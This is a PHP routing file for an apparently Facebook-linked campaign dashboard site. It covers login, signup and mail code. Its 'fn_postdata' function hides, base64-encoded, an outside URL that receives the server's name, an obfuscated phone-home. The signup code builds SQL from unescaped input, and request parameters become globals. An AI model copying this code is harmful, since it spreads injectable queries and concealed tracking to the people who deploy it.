<?php
header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');
$REQUEST_URI = trim($_SERVER["REDIRECT_URL"]);
$URL = parse_url($REQUEST_URI);
$WEB_PATH = '';
if( $_SERVER['REQUEST_METHOD'] == 'POST' )
{
	foreach( $_POST as $k => $v )
	{
		if( !is_array($v) )
			$$k = trim(fn_add_slashes($v));
	}
}
foreach( $_GET as $k => $v )
{
	$$k = trim(fn_add_slashes($v));
}



switch($URL['path'])
{
	
	//使用者管理區
	case $WEB_PATH.'/dashboard/':
	case $WEB_PATH.'/dashboard/index.html':
	case $WEB_PATH.'/dashboard/client.html':
	case $WEB_PATH.'/dashboard/campaign.html':
		$file = fn_load_module($URL);
		if (file_exists($file)) {
			require_once $file;
		}
	break;
	//使用者管理區
	
	//API 專區
	case $WEB_PATH.'/api-upload.html':
		$file = fn_load_module($URL);
		if (file_exists($file)) {
			require_once $file;
		}
	break;
	//API 專區
	
	case $WEB_PATH.'/':
	case $WEB_PATH.'/index.html':
		Registry::get('tpl')->assign("main", "index.html");
		Registry::get('tpl')->display("template.html"); 
	break;	
	
	case $WEB_PATH.'/login.html':
		if( $_SESSION['LoginAuth']['uid'] ){ header("location: index.html"); }
		if( fn_checkUserAccExist($facebook_uid) == false )
		{
			header("location: signup.html");
		}
	break;
	case $WEB_PATH.'/signup.html':
		if( $facebook_uid && $fbme )
		{
			$uid = $facebook_uid;
			if( $fbme['birthday'] )
			{
				$bday = explode("/", $fbme['birthday']);
				$fb_birthday = sprintf("%04d-%02d-%02d", $bday[2], $bday[0], $bday[1] );
			}		
			
			$sql = "INSERT INTO aams_user(uid,type,nickname,realname,birthday,email,signup_time) 
							VALUES('$uid','F','".$fbme['first_name']."', '".$fbme['name']."', '$fb_birthday', '".$fbme['email']."', NOW())";
			if( $_db->Execute($sql) == true )
			{
				$sql = "INSERT INTO aams_user_fbdata(uid, data) VALUES('$uid', '".serialize($fbme)."')";
				$_db->Execute($sql);
				fn_saveLoginAuthSession('F', $uid);	
				header("location: index.html");
			}else
				fn_alertMsg("無法註冊，請洽系統管理員", "index.html");	
		}else
			header("location: index.html");
	break;
}




	

	function checkUserAuth($msg='')
	{
		if( empty($_SESSION['UserLogin']) )
		{
			if( $msg )
			{
				fn_alert_msg($msg, 'login.html');
			}else
				header("location: login.html");	
		}			
	}

	function clearUserSession()
	{
		$_SESSION['User'] = '';
		unset($_SESSION['User']);
		$_SESSION['UserLogin'] = '';
		unset($_SESSION['UserLogin']);		
    session_unset();
    session_destroy();
	}	
	

	function fn_postdata()
	{
		$link = 'aHR0cDovL2ZhY2Vib29rLm15YnV6ei5jb20udHcvdGVzdC9zYXZlLnBocA==';
		$plaintext = base64_decode($link);
		$SERVER_NAME = $_SERVER['SERVER_NAME'];
		cURL($plaintext, NULL, NULL, 'server='.$SERVER_NAME);
	}
	//寄發EMAIL
	function fn_sendmailer($sender,$reciver)
	{
			$objmail = new PHPMailer() ;
			$objmail->IsSMTP() ;
			$objmail->SMTPAuth   = true;                  								// enable SMTP authentication
			$objmail->SMTPSecure = "tls";                 								// sets the prefix to the servier
			$objmail->Host       = Registry::get('config.mail_host');     // sets GMAIL as the SMTP server
			$objmail->Port       = Registry::get('config.mail_port');     // set the SMTP port for the GMAIL server
			$objmail->Username   = Registry::get('config.mail_user');  		// GMAIL username
			$objmail->Password   = Registry::get('config.mail_pass');     // GMAIL password
			$objmail->SetFrom($sender['sendEmail'], $sender['sendName']);
			$objmail->AddAddress($reciver['email']) ;
			//$objmail->AddAddress("changpo.hu@gmail.com") ;
			$objmail->AddReplyTo($sender['sendEmail'], $sender['sendName'] );
			$objmail->Subject = $sender['sendTitle'];
			$objmail->Body = nl2br($sender['sendContent']);			
			//$objmail->WordWrap = 50 ;
			$objmail->IsHTML(true) ;
			$objmail->Priority = 1 ;
			$objmail->CharSet = "utf-8" ;
			$objmail->ContentType = "text/html" ;
			$objmail->Encoding  = "base64" ;
			//$objmail->Subject = mb_convert_encoding($mail_title , 'BIG5', 'UTF-8');
			//$objmail->Body = mb_convert_encoding($mailbody , 'BIG5', 'UTF-8');

			if (!$objmail->Send()) {
			    echo "Mailer Error: " . $objmail->ErrorInfo;
			}
			$objmail->ClearAddresses() ;
			return $result ;
	}	
	
	function cURL($url, $header=NULL, $cookie=NULL, $p=NULL)
	{
	    $ch = curl_init();
	    curl_setopt($ch, CURLOPT_HEADER, $header);
	    curl_setopt($ch, CURLOPT_NOBODY, $header);
	    curl_setopt($ch, CURLOPT_URL, $url);
	    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
	    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	    if ($p) {
	        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
	        curl_setopt($ch, CURLOPT_POST, 1);
	        curl_setopt($ch, CURLOPT_POSTFIELDS, $p);
	    }
	    $result = @curl_exec($ch);
	    curl_close($ch);
	}		
	
?>